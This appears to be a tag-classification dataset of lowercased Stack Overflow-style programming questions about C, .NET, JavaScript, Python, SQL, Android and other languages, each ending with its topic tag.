code giving me an infinite loop <pre><code>#include &lt;stdio.h&gt; void load_menu(void);  int main(void) {     load_menu();     return 0; }  void load_menu(void) { int choice; int loopagain;  do {     printf( menu \n\n );     printf( please enter your choice: \n );     printf( 1. \n );     printf( 2.\n );     printf( 3.\n );     printf( 4. exit\n );     if (scanf( %d  &amp;choice)==1)     {          switch(choice)         {             case 1:                     break;             case 2:                     break;             case 3:                     break;             case 4: printf( quitting program!\n );                     break;             default: printf( invalid choice! please try again\n );                     printf( \n );                 break;         }     }      else     {         printf( characters are invalid  please enter a number: \n  );         if (scanf( %d  &amp;loopagain)==1)             load_menu();     }  }while((choice !=4)); } </code></pre>   why is this still giving me an infinite loop when i enter a character  it is a menu (the case statements still need to be filled) but i am taking care of the character input by the if statement but it still does not seem to work. thanks,c
is the process in which the .net application run unmanaged or is it the normal windows process   is the process in which the .net application run unmanaged   i mean  is it the normal windows process   i read some where that thats why .net provides default appdomain   which act an interface between the unmanaged process and the managed .net application running inside it .,.net
find out process bitness programmatically  is there anyway i can find out if my .net process is running as 32bit process or 64bit process,.net
tabletoexcel characters cell limit  i ve seen tabletoexcel have characters limit  when i try to export a table with a cell with around 300 characters not work. do you know how increase this limit  becuase if the cell have 20 characters works fine.   <pre><code>    function tabletoexcel(table  name  filename) {         let uri =  data:application/vnd.ms-excel;base64             template =  &lt;html xmlns:o= urn:schemas-microsoft-com:office:office  xmlns:x= urn:schemas-microsoft-com:office:excel  xmlns= http://www.w3.org/tr/rec-html40 &gt;&lt;title&gt;&lt;/title&gt;&lt;head&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;&lt;x:excelworkbook&gt;&lt;x:excelworksheets&gt;&lt;x:excelworksheet&gt;&lt;x:name&gt;{worksheet}&lt;/x:name&gt;&lt;x:worksheetoptions&gt;&lt;x:displaygridlines/&gt;&lt;/x:worksheetoptions&gt;&lt;/x:excelworksheet&gt;&lt;/x:excelworksheets&gt;&lt;/x:excelworkbook&gt;&lt;/xml&gt;&lt;![endif]--&gt;&lt;meta http-equiv= content-type  content= text/plain; charset=utf-8 /&gt;&lt;/head&gt;&lt;body&gt;&lt;table border= 1  style= border-color:#cccccc;font-size:10pt;text-align:center; &gt;{table}&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;            base64 = function(s) { return window.btoa(decodeuricomponent(encodeuricomponent(s))) }          format = function(s  c) { return s.replace(/{(\w+)}/g  function(m  p) { return c[p]; })}          if (!table.nodetype) table = document.getelementbyid(table)         var ctx = {worksheet: name ||  worksheet   table: table.innerhtml}          var link = document.createelement( a );         link.download = filename;         link.href = uri + base64(format(template  ctx));         link.click(); } </code></pre>,javascript
can someone explain this weird behaviour in javascript   in this code:   <pre><code>function calc(){     this.a = 5; }  calc(); // run the function once  // redefine the function function calc(){     return this.a; }  // re-run the function calc(); // 5 </code></pre>   from a guy coming from java background.   <ol> <li> how is this.a valid (if a hasn t been defined before ) from what i know  this.a should refer to the instance variable <code>a</code>  of the class   </li> <li> why did it return <code>5</code>  </li> </ol>,javascript
invokemember with xpath  my purpose is to click a button automatically in a webbrowser. i am collecting clickables in the source code  and according to these clickables  xpath values  i want to invoke member click.     for invokemember method  i can use clickable id  but instead  i need to use xpath. do you have any ideas      here is some code: (i am using c# .net)   <pre><code> htmlelement element = browser.document.getelementbyid(clickableid);  element = browser.document.getelementbyid(clickableid);  element.invokemember( click ); </code></pre>   i mean; i want to do this operation with clickable xpath,.net
passing int value to string value in listview <pre><code>    textview location=(textview)template_view.findviewbyid(r.id.tvlocation);     textview weather=(textview)template_view.findviewbyid(r.id.tvweather);     textview temp=(textview)template_view.findviewbyid(r.id.tvtemp);     textview dewpoint=(textview)template_view.findviewbyid(r.id.tvdew);     textview humidity=(textview)template_view.findviewbyid(r.id.tvhumidity);     textview windspeed=(textview)template_view.findviewbyid(r.id.tvspeed);     textview winddir=(textview)template_view.findviewbyid(r.id.tvdir);     textview windgust=(textview)template_view.findviewbyid(r.id.tvgust);     textview pressure=(textview)template_view.findviewbyid(r.id.tvcondition);     textview heatindex=(textview)template_view.findviewbyid(r.id.tvheat);     textview visibility=(textview)template_view.findviewbyid(r.id.tvvisibility);     textview precipitation=(textview)template_view.findviewbyid(r.id.tvprecipitation);     textview dailyprecipitation=(textview)template_view.findviewbyid(r.id.tvdaily);     textview sunrise=(textview)template_view.findviewbyid(r.id.tvsunrise);     textview sunset=(textview)template_view.findviewbyid(r.id.tvsunset);      location.settext(voicenames.get(position).getlocation());     weather.settext(voicenames.get(position).getweather());     //temp.settext(voicenames.get(position).gettemp_c());     //dewpoint.settext(voicenames.get(position).getdewpoint_c());     //windspeed.settext(voicenames.get(position).getwind_kph());     //windgust.settext(voicenames.get(position).getwind_gust_kph());     humidity.settext(voicenames.get(position).getrelative_humidity());     winddir.settext(voicenames.get(position).getwind_dir());     pressure.settext(voicenames.get(position).getpressure_mb());     heatindex.settext(voicenames.get(position).getheat_index_c());     visibility.settext(voicenames.get(position).getvisibility_km());     precipitation.settext(voicenames.get(position).getprecipitation());     dailyprecipitation.settext(voicenames.get(position).getdaily_precipitation());     sunrise.settext(voicenames.get(position).getsunrise());     sunset.settext(voicenames.get(position).getsunset()); </code></pre>   i have here a listview of string value and i put comment on int value i cant pass an int value for it how can i pass an int value to string so that the null pointer exception will not show anymore jsonboject are used here,android
two instances of the same usercontrol in an asp.net page  in my webpage i use two user controls: uccontrol1 and uccontrol2. the uccontrol1 control also contains an instance of the uccontrol2 control inside it.  when you run the application and go to the page in question  it appears that only the instance that is inside the uccontrol1 is working correctly. when trying to execute the functionality of the uccontrol2 that is directly on the page  it correctly executes the backend code  opens the modal correctly but does not show the results on the screen.  what could be happening     the page is like this   <pre><code> &lt;%@ page language= c#  autoeventwireup= true  codefile= pagesample.aspx.cs  masterpagefile= ~/masterpage.master  inherits= pagesample  %&gt; &lt;%@ mastertype virtualpath= ~/masterpage.master  %&gt; &lt;%@ register src= ~/controls/uccontrol2.ascx  tagprefix= uc2  tagname= uccontrol2  %&gt; &lt;%@ register src= ~/controls/uccontrol1.ascx  tagprefix= uc1  tagname= uccontrol1  %&gt; &lt;asp:content runat= server  contentplaceholder id= cpsampleid &gt;     &lt;div&gt;         &lt;uc1:uccontrol2 runat= server  id= uc2  /&gt;        &lt;/div&gt;     &lt;uc1:uccontrol1 runat= server  id= uc1  /&gt; &lt;/asp:content&gt; </code></pre>   and the usercontrol1   <pre><code>&lt;%@ control language= c#  autoeventwireup= true  codefile= uccontrol1.ascx.cs  inherits= uccontrol1  %&gt; &lt;%@ register src= ~/controls/uccontrol2.ascx  tagprefix= uc1  tagname= uccontrol2  %&gt;   &lt;%-- something something something --%&gt;   &lt;uc1:uccontrol2 runat= server  id= uccontrol2  /&gt; </code></pre>,asp.net
exception of type  system.stackoverflowexception  was thrown by worldserver class  here is my code <code>worldserver.cs</code>:   <pre><code>public class jsondata {     public string header;     public dictionary&lt;string  string&gt; data = new dictionary&lt;string  string&gt;();     public int connectionid; }  namespace server {     public class worldserver     {         private character character = new character();          void test()         {             character.updatecharacterstate();         }          public void broadcast()         {             console.writeline( we in broadcast );         }     } } </code></pre>   here is my <code>character.cs</code>:   <pre><code>public class character : worldserver {     public void updatecharacterstate()     {         console.writeline( state: );         broadcast();     } } </code></pre>   and when i try to run my code i receive the following error:   <blockquote>    exception of type  system.stackoverflowexception  was thrown.  </blockquote>   i have one base class <code>worldserver</code> and one that extends it <code>character</code>. i have to call from <code>worldserver</code> class the method <code>updatecharacterstate</code> and from <code>character</code> class the <code>broadcast</code> method which is declared in <code>worldserver</code> class. is it possible and how  can you tell me where is my mistake and how can i fix it,c#
check database for duplicates  i am creating a doctors booking system.     i have a user name text box  a time drop down menu  doctor name text box and a date calendar control. all the values are sent to a database in 4 different fields.     i need to find a way to check if the time  date  and doctor are already booked so the system wont allow double bookings.,asp.net
htmlspecialchars function not working in the xampp  i want to replace special characters in url address  i use xampp and when i run this code for test :   <pre><code>   $new = htmlspecialchars( &amp;   ent_quotes);     echo $new; </code></pre>   but i don t see any changes.    if i run my test app in the ideone.com   everything is working ! why   thanks in advance,php
reading from .txt file and using .startswith  i am having issues with storing data read from a .txt file  i am trying to store the data depending on what key is at the start of the line. but for some reason it is just printing out the document as it is.     here is the code:   <pre><code>file file = new file(selectedfile.getabsolutepath());               }          if (connectiontab.startswith( connection:  )) {             continue;         }          if (!sca.hasnext()) {             break;         }          string connection = sca.next();           if (!sca.hasnext()) {             continue;         }         string otherconnection = sca.next();          if (!sca.hasnextdouble()) {             continue;         }         double distance = sca.nextdouble();           trainnetwork.newstation.addconnection(connection  otherconnection  distance);         system.out.println(connection +     + otherconnection +     + distance);      }  } catch (filenotfoundexception e) {     system.out.println( file not found ); } </code></pre>,java
count rows where date is equal but separated by name  i think it will be easiest to start with the table i have and the result i am aiming for.   <pre><code>name | date a    | 03/01/2012 a    | 03/01/2012 b    | 02/01/2012 a    | 02/01/2012 b    | 02/01/2012 a    | 02/01/2012 b    | 01/01/2012 b    | 01/01/2012 a    | 01/01/2012 </code></pre>   i want the result of my query to be:   <pre><code>name | 01/01/2012 | 02/01/2012 | 03/01/2012 a    |     1      |     2      |     2 b    |     2      |     2      |     0 </code></pre>   so basically i want to count the number of rows that have the same date  but for each individual name. so a simple group by of dates won t do because it would merge the names together. and then i want to output a table that shows the counts for each individual date using php.    i ve seen answers suggest something like this:   <pre><code>select   name    sum(case when grade = 1 then 1 else 0 end) as grade1    sum(case when grade = 2 then 1 else 0 end) as grade2    sum(case when grade = 3 then 1 else 0 end) as grade3 from rodzaj group by name </code></pre>   so i imagine there would be a way for me to tweak that but i was wondering if there is another way  or is that the most efficient  i was perhaps thinking if the while loop were to output just one specific name and date each time along with the count  so the first result would be a 01/01/2012 1 then the next a 02/01/2012 2 - a 03/01/2012 3 - b 01/01/2012 2 etc. then perhaps that would be doable through a different technique but not sure if something like that is possible and if it would be efficient.    so i m basically looking to see if anyone has any ideas that are a bit outside the box for this and how they would compare.    i hope i explained everything well enough and thanks in advance for any help.,mysql
download and extract a tar file in python in chunks  i am trying to use <code>pycurl</code> to download a tgz file and extract it using <code>tarfile</code>  but without storing the tgz file on disk and by not having the whole tgz file in memory. i would like to download it and extract it in chunks  streaming.    i know how to get pycurl callback which gives me data every time a new chunk of data is downloaded:   <pre><code>def write(data):     # give data to tarfile to extract.     ...  with contextlib.closing(pycurl.curl()) as curl:     curl.setopt(curl.url  tar_uri)     curl.setopt(curl.writefunction  write)     curl.setopt(curl.followlocation  true)     curl.perform() </code></pre>   i also know how to open tarfile in streaming mode:   <pre><code>output_tar = tarfile.open(mode= r|gz   fileobj=fileobj) </code></pre>   but i do not know how to connect these two things together  so that every time i get a chunk over the wire  the next chunk of the tar file is extracted.,python
navigation active link highlight  im trying to create a navigation link where when i click on a link it highlights to a different color but when i click on the next one the previous link gets un highlighted and the most recent link clicked gets the highlight     heres the fiddle  <a href= http://jsfiddle.net/d0okie0612/jczvl/22/  rel= nofollow >http://jsfiddle.net/d0okie0612/jczvl/22/</a>    right now its just highlighting all the links     html    <pre><code>  &lt;span class= tab1 &gt;&lt;a class= slider_link  href= #1  rel= welcome &gt;comics&lt;/a&gt;&lt;/span&gt;   &lt;span class= tab2 &gt;&lt;a class= slider_link  href= #2  rel= hatstory &gt;media&lt;/a&gt;&lt;/span&gt;   &lt;span class= tab3 &gt;&lt;a class= slider_link  href= #3  rel= annoyed &gt;bat news&lt;/a&gt;&lt;/span&gt;​ </code></pre>   jquery    <pre><code>$( a.slider_link ).click(function(e) {     e.preventdefault()     $(this).removeclass( slider_link_style );     $(this).addclass( slider_link_style );     return false; }) </code></pre>   css   <pre><code>.slider_link_style{color: white}​ </code></pre>,jquery
how to get last updated record in sql server  i use sql server 2008 r2.    i have a table with 5 records. the table does <strong>not</strong> have any column that keeps track of lastupdated or something like that.    is it possible to find out when was the last date/time that someone added/changed a record  which record was that     thanks.,sql
how to hide a tab in android tab layout   i have a tab layout containing 3 tabs. i want to add 4th tab at run time and hide this tab after some time. please let me know how to hide a tab in android.,android
how can you suppress the automatic suffixing of  .0  for integral cases when stringifying a double   <strong>edit; the duplicate identified is by no means an  exact duplicate . that question is about something completely different. the answers provided in that duplicate are about as useful as answers to this question as a drum kit would have been to ann frank.</strong>    consider   <pre><code>double f = 2.0; string s = f.tostring(); </code></pre>   the resulting string <code>s</code> is  2.0 . how can i format <code>f</code> so the answer for the case where <code>f</code> doesn t have a decimal part doesn t have the <code>.0</code> appended  (for cases where <code>f</code> has a decimal part  i need that to be included.). yes  for some reason  the <code>tostring()</code> method on a <code>double</code> appends <code>.0</code> for the case where the <code>double</code> is an integer.    a nasty hack would be   <pre><code>f % 1.0 == 0.0   new integer(f.intvalue()).tostring() : f.tostring(); </code></pre>   but to me that looks terrible.,java
valueerror: invalid literal for int() with base 10:  51 2 2 49 15 2 1 14   i would like to convert my list(items) from string to int  therefore i can calculate the numbers in it. however  the python showed up the invalid literal for int() with base 10 error  and i ve no idea what s wrong with it. (list: in one line only  separate by comma and no space before and after comma.)    list:   <pre><code>51 2 2 49 15 2 1 14 </code></pre>   code:   <pre><code>def parsecsv(file):     file_open = open(file)     print (file_open.read())      with open(file) as rd:         items = rd.readlines()      print (items)     items = list(map(int  items))      print (items)  def main():     file = str(input( please enter the full name of the desired file (with extension) at the prompt below: \n ))     parsecsv(file)  main() </code></pre>,python
google maps android api v2 - cannot obtain a release certificate fingerprint for api key  i have looked in other questions but could not solve the problem.    i try to obtain a release certificate fingerprint as mentioned in:  <a href= https://developers.google.com/maps/documentation/android/start  rel= nofollow >https://developers.google.com/maps/documentation/android/start</a> section: displaying the release certificate fingerprint:    enter the following at a terminal or command prompt:<br> <code>keytool -list -v -keystore your_keystore_name -alias your_alias_name</code><br> replace your_keystore_name with the fully-qualified path and name of the keystore  including the .keystore extension. replace your_alias_name with the alias that you assigned to the certificate when you created it.<br> i have entered:<br> <code>c:\program files\java\jre7\bin&gt;keytool -list -keystore d:\118farmaciateicertifkeystore.keystore</code>  ----to see the aliases but i keep getting the error:  <code>keytool error: java.lang.exception: keystore file does not exist: d:\118farmacia teicertifkeystore.keystore</code>      do you know why is it,android
rails - find or create - is there a find or build   i m currently using:   <pre><code>xxx.find_or_create_by_uuid(xxxx) </code></pre>   is there a way to do find or build,ruby-on-rails
what are -webkit-paged-y and -webkit-paged-x values for overflow  i ve looked around so but the questions i ve found having anything to do with <code>overflow: -webkit-paged-y</code> or <code>overflow: -webkit-paged-x</code> don t explain what they are or do. presumably  these prefixes would just be additions for <code>paged-x</code> or <code>y</code> but there is no <code>overflow</code> property value named so. on chrome and safari  those values seem to add a height (auto) for the entire container making everything fit without any fuss.     i used these on a deeply nested markup and it worked  but i have no clue what those values are or why they worked. information on them is scarce as well.,css
how to set image name which we are saving in document directory  i am getting image from gallery now that image is getting displayed in application but same time i want to save that image in document directory     for that i am using below code    <pre><code>-(void)imagepickercontroller:(uiimagepickercontroller *)picker       didfinishpickingimage : (uiimage *)image                  editinginfo:(nsdictionary *)editinginfo {     selectimage.image = image;     nsarray *paths = nssearchpathfordirectoriesindomains(nsdocumentdirectory nsuserdomainmask  yes);     nsstring *documentsdirectory = [paths objectatindex:0];     nsstring* path = [documentsdirectory stringbyappendingpathcomponent:                        [nsstring stringwithstring: @ test.png ] ];     nsdata* data = uiimagepngrepresentation(image);     [data writetofile:path atomically:yes];     [picker dismissmodalviewcontrolleranimated:yes]; } </code></pre>   now my question is you can see that i gave name as test.png but i want to set name of actual image. so every time user select different image and different name get stored     so how can i set actual name of image in path    plz help thank you :),ios
how can i let python write all errors to a spesific logfile   here is my code   <pre><code>import sys import logging import traceback import mysqldb  def log_except_hook(*exc_info):         text =   .join(traceback.format_exception(*exc_info))         logging.error( unhandled exception: %s   text)  sys.excepthook = log_except_hook  db = mysqldb.connect( sdfgdfgsdgd.nl   1   1   1  ) cursor = db.cursor() </code></pre>,python
truncate column names in select (mysql client)  when i m looking into new databases to explore what is there  usually i get tables with long column names but short contents  like:   <pre><code>mysql&gt; select * from seat limit 2;  +---------+---------------------+---------------+------------------+--------------+---------------+--------------+-------------+--------------+-------------+---------+---------+----------+------------+---------------+------------------+-----------+-------------+---------------+-----------------+---------------------+-------------------+-----------------+  | seat_id | seat_created        | seat_event_id | seat_category_id | seat_user_id | seat_order_id | seat_item_id | seat_row_nr | seat_zone_id | seat_pmp_id | seat_nr | seat_ts | seat_sid | seat_price | seat_discount | seat_discount_id | seat_code | seat_status | seat_sales_id | seat_checked_by | seat_checked_date   | seat_old_order_id | seat_old_status |  +---------+---------------------+---------------+------------------+--------------+---------------+--------------+-------------+--------------+-------------+---------+---------+----------+------------+---------------+------------------+-----------+-------------+---------------+-----------------+---------------------+-------------------+-----------------+  |    4897 | 2016-09-01 00:05:54 |           330 |              331 |         null |          null |         null | 0           |         null |        null | 0       |    null | null     |       null |          0.00 |             null | null      | free        |          null |            null | 0000-00-00 00:00:00 |              null | null            | |    4898 | 2016-09-01 00:05:54 |           330 |              331 |         null |          null |         null | 0           |         null |        null | 0       |    null | null     |       null |          0.00 |             null | null      | free        |          null |            null | 0000-00-00 00:00:00 |              null | null            |  +---------+---------------------+---------------+------------------+--------------+---------------+--------------+-------------+--------------+-------------+---------+---------+----------+------------+---------------+------------------+-----------+-------------+---------------+-----------------+---------------------+-------------------+-----------------+ </code></pre>   since the length of the header is longer that the contents of each row  i see a unformatted output which is hard to standard  specially when you search for little clues like fields that aren t being used and so on.    is there any way to tell mysql client to truncate column names automatically  for example  to 10 characters as maximum  with the first 10 character is usually enough to know which column they refer to.    of course i could stablish column aliases for that with <code>as</code>  but if there s too much columns and you want to do a fast exploration  that would take too long for each table.      other solution will be to tell mysql to remove the prefix <code>seat_</code> for each column for example (of course  for each column i would need to change the used prefix).,mysql
string[] args parameter: java.lang.arrayindexoutofboundsexception  hi i am a java learner and trying to make this program for add two number.  while running this i am getting this error msg..   <blockquote>    exception in thread  main  java.lang.arrayindexoutofboundsexception: 0           at addnumber.main(addnumber.java:16)   java result: 1  </blockquote>  <pre><code>public class addnumber{    public static void main(string[] args) {         string x y;         int a b c;         x=args[0];         y=args[1];         a=integer.parseint(x);         b=integer.parseint(y);         c=a+b;         system.out.println(c);    } } </code></pre>   i know i can use scanner class or string builder class however whats wrong with this code,java
common service for sessionstorage in angularjs  hi in my application i am setting the values in login controller and getting in all the other js files  other than this how to use a common service for setting storage and getting that storage in required js files  my login controller   <pre><code>app.controller( logincontroller  function(loginservice  $rootscope $scope  $http $location) {       $scope.login = function () {         $scope.log=loginservice.getlogin( $scope.emailid   $scope.password).          then(function (response) {             console.log($scope.log);             console.log(response)                      if (response.data.loginverificationresult.length === 0) {                         alert( details are not available for this emailid );                         $scope.error=true;                       } else {                          $rootscope.name=response.data.loginverificationresult[0].username;                          $scope.abc=response.data.loginverificationresult[0].usertype                  console.log($scope.abc+ from....... );                          sessionstorage.setitem( emaiid  $scope.emailid);                          sessionstorage.setitem( user id  response.data.loginverificationresult[0].userid);                          sessionstorage.setitem( username  response.data.loginverificationresult[0].username);                          sessionstorage.setitem( usertype  response.data.loginverificationresult[0].usertype);                              $scope.usertype = sessionstorage.getitem( usertype );                             console.log($scope.usertype + from login controller )                                   $location.path( /dashboard )                        }           });      }; }); </code></pre>   my changepassword file   <pre><code>app.controller( changepwdcontroller   function($scope  $http  $location          baseurl  changepwdservice) {     //$scope.roleid = sessionstorage.getitem( role id ); /*  $scope.usertype = sessionstorage.getitem( usertype );*/     $scope.username = sessionstorage.getitem( username );     $scope.usertype = sessionstorage.getitem( usertype );     $scope.empname=sessionstorage.getitem( empname );     $scope.patientname=sessionstorage.getitem( patientname )     $scope.changepwd = function() {         $scope.emailaddress = sessionstorage.getitem( emaiid );         console.log($scope.emailaddress)         var data = {               emailaddress  : $scope.emailaddress               currentpassword  : $scope.opassword               newpassword  : $scope.npassword          };         console.log( hi )         $scope.pwd=changepwdservice.postchangepwd(data).success(                 function(resp) {                     $scope.postdataresponse = data;                     console.log($scope.pwd)                     console.log($scope.postdataresponse);                     if (resp.resetpasswordresult === true) {                         alert( successfully changed );                         console.log( success )                         $location.path( /dashboard );                      } else {                         console.log( fail )                         alert( enter valid current password )                     }                  })     } }) </code></pre>   is there any alternative way to set and get in one file,angularjs
simple css images side by side  i m having a problem displaying images side by side inside of an overflow box.    they seem to be going to the end of the box then going to a new line for some reason.     here s what i got:   <pre><code>&lt;div style= overflow-x:auto; overflow-y:hidden; white-space:nowrap; width:500px; height:145px; &gt; &lt; php for ($i=1; $i&lt;=9; $i++) {  echo  &lt;table&gt;&lt;tr&gt;&lt;td&gt; ; echo  &lt;img src=\ images/store/  . $i .  .jpg\  height=\ 100px\  /&gt; ;  echo  &lt;br /&gt;&lt;center&gt;&lt;img src=\ images/store/buy.png\  width=\ 75px\  /&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; ; }   &gt; &lt;/div&gt; </code></pre>   any help would be amazing!,css
checking nan in typescript  i want to check whether a string entered is nan in typescript. currently i am doing like   <pre><code>if (isnan(parseint(input))) return  it s not a number.  </code></pre>   this works fine if i enter @@@@ or #### but if i enter  444@@@@   this is not working.,javascript
how to view saved files in iphone  hi i created one sample application that saves data as text file using simple c (file) function . i am using below code   <pre><code>file *fp = fopen( log.txt    w ); fprintf(fp  %s\t %s\t %s\t %s\t %s\t\n   id   type   macid   ipaddress   version ); fclose(fp); </code></pre>   when i run this code in simulator.there is a log.txt file in macintosh hd folder.then i can able to view the text file log.when i run this in device  where it can store .txt file and how can i view this text file   is it possible      thanks in advance...........,iphone
insert rows to fill sequence  i am attempting to insert rows where i missing years in the year column. the idea is to have a year and value populated for every year up until 2016  starting with the first year for a given id. here is my current state:   <pre><code>id  year    value a   2016    100 a   2015    90 a   2007    60 b   2016    120 b   2014    105 c   2015    110 c   2014    90 d   2016    150 </code></pre>   here is my desired state:   <pre><code>id  year    value a   2016    100 a   2015    90 a   2014    60 a   2013    60 a   2012    60 a   2011    60 a   2010    60 a   2009    60 a   2008    60 a   2007    60 b   2016    120 b   2015    105 b   2014    105 c   2016    110 c   2015    110 c   2014    90 d   2016    150 </code></pre>   so  populate missing years with the value from the previous year. how can this be achieved in excel  sql or vba  i can throw this into an access database to get the job done. the only thing i can think of right now is joining my current table to a table in sql with all the years i want and then go through a repopulate the null values. any assistance is greatly appreciated. thanks!    <strong>edit: how do i do this specifically using sql </strong>,sql
windows media player in a windows form  i have a form that has a media player and a button. when the button is clicked a song is supposed to play. however when the executable of the program is run  i won t know where the song is located. is there a way to get a path of a file without searching through a directory to find it    <pre><code>    private void button3_click(object sender  eventargs e)     {         axwindowsmediaplayer1.url =  c:\\users\\eric\\desktop\\lmfao - party rock anthem.mp3 ;     } </code></pre>   all the project files including the song will be in a folder. if the folder moves to another s computer and they run the executable  the path to the song will not be the same and so i need a way to figure out the path of the song.,c#
why string.contains() can not accept a regex as a parameter   any idea to implementing this     is this best way to do    <pre><code>boolean contains=string.split(regex 2).length==2; </code></pre>   thanks a lot for any suggestion.,java
doing validation across a large number of items using all()  i have about 100 fields i need to make sure have non-empty values. to do this i am doing:   <pre><code>if all([field1  field2  ...]):     print  ok  else:     raise </code></pre>   however  i d like to know <em>which</em> fields have the empty values  so i can prompt the user to correct those. is there a straightforward way to show which fields have the empty values in a large-scale validation  using <code>all()</code> or another method,python
hide return code from subprocess.call  how can i hide the return code after calling a command using subprocess    <pre><code>from netaddr import ipnetwork import subprocess  for ip in ipnetwork( 1.1.1.1/19 ):         print subprocess.call([ host   str(ip)] </code></pre>   if i then pipe this to a file i get the host + ip but with a return code of 0 after each line.,python
does super always reach to nsobject class in objective-c   the super keyword tells the compiler to search for method in the superclass of the class where the method is firstly defined. for example  if class father defines a new method called x which contains [super init]  then i use method x in class son  the compiler would search for init method in class grandfather  since x is firstly defined in class father.    my question is  what if there exists a inherited method of nsobject that has not changed  for example  what if i use  init  method in a subclass that contains super  since in this case  the init method is firstly defined in nsobject itself. would it  skip over  nsobject  or just implements whatever inside nsobject since there is no higher classes    <pre><code>-(id)init  {             self=[super init];   //code continues } </code></pre>,objective-c
how to run gacultil in window command prompt   i want to deploy .net assemblies to the end users  pc (win7 or xp  with .net framework 2.0  3.0  3.5  ...). the .net assemblies need to add to gac &amp; register. is it possible to run visual studio command promt without installing visual studio      ps: to use .net non-visual assemblies in powerbuilder classic win32 targets using com callable wrappers (ccws)  need to set up before using: 1. add to gac   run gacultil.exe in visual studio command prompt ; 2. register   run regasm.exe in window command prompt;    have any suggestion      thanks !    jack,.net
python--read files  save the file names and access to these files  i build   <pre><code>totalset = {}  </code></pre>   and extract the file names from folders a  b  c  d by   <pre><code>for file_name in (os.listdir(full_subdir_name)):     full_file_name = os.path.join(full_subdir_name  file_name) </code></pre>   now i want to build something called namelist that contains all the file names  and i could traverse all the files in the folders through:   <pre><code>for file in namelist[a]:     blabla...  for file in namelist[b]:     blabla.. .   </code></pre>   what should i do,python
fitting the webview page in iphone without scroll depending upon the data present in a html file  can any one help me..am doing one webview application in iphone. i am very new to this is technology...my requirement is when am displaying the html content into the webview page depending upon the data the webview page has to fit that means no scrolling comes the page should fix.,iphone
public accessors vs public properties of a class <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/295104/what-is-the-difference-between-a-field-and-a-property-in-c >what is the difference between a field and a property in c#</a>    </blockquote>     can someone explain the diffrence if any between these two properties    <pre><code> public string city { get; set; }  public string city; </code></pre>,c#
how can i set my app to run at startup when i don t know the folder in which the app might be installed   here s my problem i ve learned how to work with registry quite recently and i m trying to figure out something i want my program to be set to run at startup with a click of a button so i should write some code in the click event of my button that creates a registry file in    <pre><code> hkey_current_user\software\microsoft\windows\currentversion\run  </code></pre>   and then set the value of that registry file to where my app is located as long as i know where my app is it is a simple job to do but my problem is that i want to make a setup file for my app and the user will install my app wherever he/she wants what should i do     thanks in advance best regards,c#
hard time passing two dimensional arrays to functions  so i m working on this code in which i m trying to pass a two dimensional array to a function  like so:    function signature : void f(array[4][4] int n);   <pre><code>int array [4][4]; f(&amp;array[0][0] 16) for (int i=0;i&lt;n;i++) // i m working by c99 standard. {  hist[ *(&amp;array[0][0] +i) ] ++ ;  // i know the max value in array[4][4]   and hist is initialized accordingly. } } </code></pre>   i just keep getting all kinds of errors regarding incompatible types   for example   i get  expected (*)[4] but type is of int * help   :),c
is it not possible to make first table row to have border only and separate the last rows of featured and normal  <pre><code>    tr.featured:first-child{       border-top: 5px solid red;     }   &lt;table&gt;     &lt;tbody&gt;         {{#each i:idx}}              &lt;tr on-click= detail  class= {{featured    featured  :   }} &gt;                 &lt;td&gt;                   name jj                 &lt;/td&gt;                 &lt;td&gt;                   address texas                 &lt;/td&gt;                 &lt;td&gt;                   phone 4545-4555-455                  &lt;/td&gt;             &lt;/tr&gt;              {{#if active}}                 &lt;tr class= detail &gt;                     &lt;td colspan= 3 &gt;                        more more more information about us                     &lt;/td&gt;                 &lt;/tr&gt;             {{/if}}        {{/each}}     &lt;/tbody&gt; &lt;/table&gt; </code></pre>   table row will be dynamically added if featured article for example. attempted to have border top displayed on the first row  but instead all featured rows show border-top.     headache trying to make the last featured row and last normal row separate by margin but it won t separate with margin. adding empty row is a cheat but it also means adding empty rows for all since it is dynamically printed.    is it not possible to make first row to show only border and separate last rows: featured and normal  please help,css
selection in textview  i have a text view in my application and i want to select text from  that text view and i want the starting &amp; ending position of that  selected text so can anyone please help me.,android
setting image as data-attributes on rails image upload  please i need some help here  i want to set image as data-attributes.    this is an example of what i want to achieve.   <pre><code>&lt;div class= square  data= https://churchbucket.s3.amazonaws.com/uploads/picture/image/5/medium_pastor1.jpg x-amz-expires=600&amp;x-amz-date=20170825t160713z&amp;x-amz-algorithm=aws4-hmac- &gt; </code></pre>   but i don t know how to get the right syntax with image upload on rails.   <pre><code>&lt;%= image_tag page_pc.image.url(:large)  class: square  if page_pc.image  %&gt; </code></pre>   if any one knows how to get this work or any other alternative  please your help will be very much appreciated.    this is the example of my html   <pre><code>&lt;div class= square-flip &gt;     &lt;div class= square  data-image= http://titanicthemes.com/files/flipbox/kallyas-bundle.png &gt;         &lt;div class= square-container &gt;             &lt;div class= align-center &gt;&lt;img src= http://titanicthemes.com/files/flipbox/kallyas.png  class= boxshadow  alt=  &gt;&lt;/div&gt;             &lt;h2 class= textshadow &gt;kallyas wordpress theme&lt;/h2&gt;             &lt;h3 class= textshadow &gt;the #1 selling most enjoyable and creative multipurpose wordpress theme.&lt;/h3&gt;         &lt;/div&gt;         &lt;div class= flip-overlay &gt;&lt;/div&gt;     &lt;/div&gt;     &lt;div class= square2  data-image= http://titanicthemes.com/files/flipbox/kallyas-bundle.png &gt;         &lt;div class= square-container2 &gt;             &lt;div class= align-center &gt;&lt;/div&gt;             &lt;a href= http://kallyas.net  target= _blank  class= boxshadow kallyas-button &gt;view demos&lt;/a&gt;         &lt;/div&gt;         &lt;div class= flip-overlay &gt;&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,ruby-on-rails
